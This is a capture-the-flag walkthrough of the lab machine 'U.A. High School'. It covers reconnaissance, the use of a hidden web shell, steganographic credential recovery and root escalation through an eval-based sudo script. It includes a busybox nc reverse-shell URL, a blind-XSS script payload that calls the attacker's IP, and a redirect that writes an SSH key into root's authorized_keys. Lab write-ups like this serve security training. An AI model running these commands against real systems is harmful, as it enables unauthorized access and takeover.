U.A. High School

Welcome to the web application of U.A., the Superhero Academy. - by Fede1781

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports, SSH on 22 and an Apache web server on port 80.

We continue with a directory scan on the web server, and in the meantime we look at the page manually. The first scan does not seem to return any interesting endpoints.

We only have one contact form that looks interesting, all other pages are static. Here we try some payloads to detect blind XSS, such as <script src="http://10.8.211.1/name"></script> to detect vulnerable fields, the idea here was to steal possible sessions and thus get to a more privileged area. A lot of time was invested here, but nothing was found.

Since the first scan didn't turn up anything, we'll probably have to look for further endpoints, the first idea was to add more HTML pages or PHP pages. With Feroxbuster we can easily search the pages recursively. This is where the page http://ua.thm/assets/index.php stands out.

Shell as www-data

We continue with the page http://ua.thm/assets/index.php, which we discovered in the second recon phase. When we visit this page, we only get a blank page. But it is here for a reason. It seems to be a classic CTF challenge.

Since the page does not show anything else, we try it with parameters. Initially Arjun was used, but as we see in the next attempts, we might see why.

A good list for fuzzing for parameters is the burp-parameter.names.txt from SecLists. Also, here we do not get any responses, we might need to pass some value to the parameter.

Among some tested values for the parameters, we have a hit at cmd=id.

This gives us base64 as an answer. And we can already assume that we are dealing with a web shell.

Decoding the response, we see we are executing commands as www-data.

We use a reverse shell from revshells.com, we select the busybox version and set a listener on our desired port first. After we request the following link...

http://ua.thm/assets/index.php?cmd=busybox%20nc%2010.8.211.1%204445%20-e%20/bin/bash

... we get a connection back and are www-data. We now upgrade our shell using the following resource:

Unfortunately, do not yet have access to the user flag www-data.

Shell as deku

While enumerating the system as www-data, we find the directory Hidden_Content in /var/www. This directory contains a passphrase.txt, which contains a base64 encoded password.

We identify the user deku and try changing users to with that password, but this password seems to have another purpose, since we cannot change to deku with it.

We remember our directory scan and find images at assets/images that we have not previously identified with our word lists. We download both of them.

The image oneforall.jpg seems to be faulty.

We use wget to retrieve the broken image.

It seems not to be an image, to see its content in detail we use hexeditor, since just looking at it via strings did not reveal much information.

One of many hex editors:

When viewing the file in the hexeditor, we see that the file extension and magicbytes do not match.

We add the magicbytes for jpg files to the file:

First we add 12 empty bytes using CTRL+A then we add the following.

FF D8 FF E0 00 10 4A 46 49 46 00 01

After we have saved our changes, we can see the image, but this does not directly reveal any new information.

Since it is a JPEG, we can now use tools like steghide to extract files hidden in the image. A password is required here. We use the one from /var/www/Hidden_Content/passphrase.txt. We can extract the file creds.txt, which contains credentials for the user deku.

With these credentials, we are able to change the user deku or access the machine as deku via ssh. We find the user flag in the home directory of the user deku.

Shell as root

As user deku we are allowed to execute the script in /opt/NewComponent/feedback.sh via sudo.

The script /opt/NewComponent/feedback.sh collects user feedback, checks for potentially harmful special characters, and if the input is deemed safe, it saves the feedback to a log file. If the input contains restricted characters, it rejects the feedback and prompts the user to provide valid input.

The use of eval on line 14 poses a significant security risk as it can execute arbitrary code if the input isn't thoroughly sanitized, potentially leading to command injection. Even with filtering, unexpected or cleverly crafted input might bypass these checks, making the script vulnerable to exploitation.

/opt/NewComponent/feedback.sh
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

It filters out several special characters that could be used for malicious purposes. Specifically, it checks for and rejects input containing the following characters:

  • Backtick (`)

  • Closing parenthesis ())

  • Dollar sign followed by an opening parenthesis ($()

  • Pipe (|)

  • Ampersand (&)

  • Semicolon (;)

  • Question mark (?)

  • Exclamation mark (!)

  • Backslash (\)

We are therefore not able to execute commands as root using command chaining or substitution. Like the following example:

However, the filter is not complete. We can still write to files like /etc/passwd or /root/.ssh/authorized_keys using >. We prepare an ssh key with ssh-keygen, where we put the public key into /root/.ssh/authorized_keys. The root key needs proper permissions, we can do this with chmod 600.

Next, we run the feedback script with sudo and paste our public key into the prompt appending > /root/.ssh/authorized_keys.

Now we can use our generated private key to connect to the machine as root via ssh. Here we find the root flag in /root/root.txt.

Last updated